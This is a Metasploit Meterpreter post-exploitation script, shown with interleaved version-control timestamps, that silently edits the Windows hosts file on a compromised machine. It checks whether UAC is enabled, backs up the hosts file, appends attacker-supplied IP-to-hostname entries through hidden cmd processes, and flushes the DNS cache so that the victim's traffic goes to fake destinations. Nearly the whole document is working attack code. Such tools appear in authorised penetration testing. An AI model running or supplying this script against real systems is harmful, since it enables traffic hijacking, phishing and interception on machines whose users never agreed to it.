2009-10-26 15:14:28 +00:00
|
|
|
# $Id$
|
2009-10-26 04:56:55 +00:00
|
|
|
# Meterpreter script for modifying the hosts file in windows
|
2010-05-03 17:13:09 +00:00
|
|
|
# given a single entrie or several in a file and clear the
|
2009-10-26 04:56:55 +00:00
|
|
|
# DNS cache on the target machine.
|
|
|
|
# This script works with Windows 2000,Windows XP,Windows 2003,
|
|
|
|
# Windows Vista and Windows 2008.
|
|
|
|
# Provided: carlos_perez[at]darkoperator[dot]com
|
|
|
|
# Version: 0.1.0
|
|
|
|
# Note: in Vista UAC must be disabled to be able to perform hosts
|
|
|
|
# file modifications.
|
2009-06-09 02:50:06 +00:00
|
|
|
################## Variable Declarations ##################
|
|
|
|
session = client
|
|
|
|
# Setting Arguments
|
|
|
|
@@exec_opts = Rex::Parser::Arguments.new(
|
2009-10-26 04:56:55 +00:00
|
|
|
"-h" => [ false, "Help Options." ],
|
|
|
|
"-e" => [ true, "Host entry in the format of IP,Hostname." ],
|
|
|
|
"-l" => [ true, "Text file with list of entries in the format of IP,Hostname. One per line." ]
|
2009-06-09 02:50:06 +00:00
|
|
|
)
|
2009-10-26 04:56:55 +00:00
|
|
|
def usage
|
|
|
|
print_line("This Meterpreter script is for adding entries in to the Windows Hosts file.")
|
|
|
|
print_line("Since Windows will check first the Hosts file instead of the configured DNS Server")
|
|
|
|
print_line("it will assist in diverting traffic to the fake entry or entries. Either a single")
|
|
|
|
print_line("entry can be provided or a series of entries provided a file with one per line.")
|
|
|
|
print_line(@@exec_opts.usage)
|
|
|
|
print_line("Example:\n\n")
|
|
|
|
print_line("run hostsedit -e 127.0.0.1,google.com\n")
|
|
|
|
print_line("run hostsedit -l /tmp/fakednsentries.txt\n\n")
|
|
|
|
raise Rex::Script::Completed
|
|
|
|
end
|
|
|
|
|
|
|
|
|
2009-06-09 02:50:06 +00:00
|
|
|
record = ""
|
|
|
|
#Set path to the hosts file
|
|
|
|
hosts = session.fs.file.expand_path("%SYSTEMROOT%")+"\\System32\\drivers\\etc\\hosts"
|
|
|
|
#Function check if UAC is enabled
|
|
|
|
def checkuac(session)
|
|
|
|
winver = session.sys.config.sysinfo
|
2010-09-09 16:09:27 +00:00
|
|
|
if winver["OS"] =~ (/Windows 7|Vista/)
|
2009-06-09 02:50:06 +00:00
|
|
|
print_status("Checking if UAC is enabled.")
|
|
|
|
open_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", KEY_READ)
|
|
|
|
value = open_key.query_value("EnableLUA").data
|
|
|
|
if value == 1
|
|
|
|
print_status("\tUAC is enabled")
|
|
|
|
raise "Unable to continue UAC is enabbled."
|
|
|
|
else
|
|
|
|
print_status("\tUAC is disabled")
|
|
|
|
status = false
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
#Function for adding record to hosts file
|
|
|
|
def add2hosts(session,record,hosts)
|
|
|
|
ip,host = record.split(",")
|
|
|
|
print_status("Adding Record for Host #{host} with IP #{ip}")
|
2009-06-14 19:49:07 +00:00
|
|
|
session.sys.process.execute("cmd /c echo #{ip}\t#{host} >> #{hosts}",nil, {'Hidden' => true})
|
2009-06-09 02:50:06 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
#Make a backup of the hosts file on the target
|
|
|
|
def backuphosts(session,hosts)
|
2009-06-14 19:49:07 +00:00
|
|
|
random = sprintf("%.5d",rand(100000))
|
2009-06-09 02:50:06 +00:00
|
|
|
print_status("Making Backup of the hosts file.")
|
2009-06-14 19:49:07 +00:00
|
|
|
session.sys.process.execute("cmd /c copy #{hosts} #{hosts}#{random}.back",nil, {'Hidden' => true})
|
|
|
|
print_status("Backup loacated in #{hosts}#{random}.back")
|
2009-06-09 02:50:06 +00:00
|
|
|
end
|
|
|
|
# Clear DNS Cached entries
|
|
|
|
def cleardnscach(session)
|
|
|
|
print_status("Clearing the DNS Cache")
|
|
|
|
session.sys.process.execute("cmd /c ipconfig /flushdns",nil, {'Hidden' => true})
|
|
|
|
end
|
2010-09-09 16:09:27 +00:00
|
|
|
if client.platform =~ /win32|win64/
|
|
|
|
@@exec_opts.parse(args) { |opt, idx, val|
|
|
|
|
case opt
|
|
|
|
when "-e"
|
|
|
|
checkuac(session)
|
2009-06-09 02:50:06 +00:00
|
|
|
backuphosts(session,hosts)
|
2010-09-09 16:09:27 +00:00
|
|
|
add2hosts(session,val,hosts)
|
|
|
|
cleardnscach(session)
|
|
|
|
when "-l"
|
|
|
|
checkuac(session)
|
|
|
|
if not ::File.exists?(val)
|
|
|
|
raise "File #{val} does not exists!"
|
|
|
|
else
|
|
|
|
backuphosts(session,hosts)
|
2009-10-26 04:56:55 +00:00
|
|
|
::File.open(val, "r").each_line do |line|
|
2010-12-15 01:24:27 +00:00
|
|
|
next if line.strip.length < 1
|
|
|
|
next if line[0,1] == "#"
|
2010-09-09 16:09:27 +00:00
|
|
|
add2hosts(session,line.chomp,hosts)
|
|
|
|
end
|
|
|
|
cleardnscach(session)
|
2009-06-09 02:50:06 +00:00
|
|
|
end
|
2010-09-09 16:09:27 +00:00
|
|
|
when "-h"
|
|
|
|
usage
|
2009-06-09 02:50:06 +00:00
|
|
|
end
|
2010-09-09 16:09:27 +00:00
|
|
|
}
|
|
|
|
if args.length == 0
|
2009-10-26 04:56:55 +00:00
|
|
|
usage
|
2009-06-09 02:50:06 +00:00
|
|
|
end
|
2010-09-09 16:09:27 +00:00
|
|
|
else
|
|
|
|
print_error("This version of Meterpreter is not supported with this Script!")
|
|
|
|
raise Rex::Script::Completed
|
|
|
|
end
|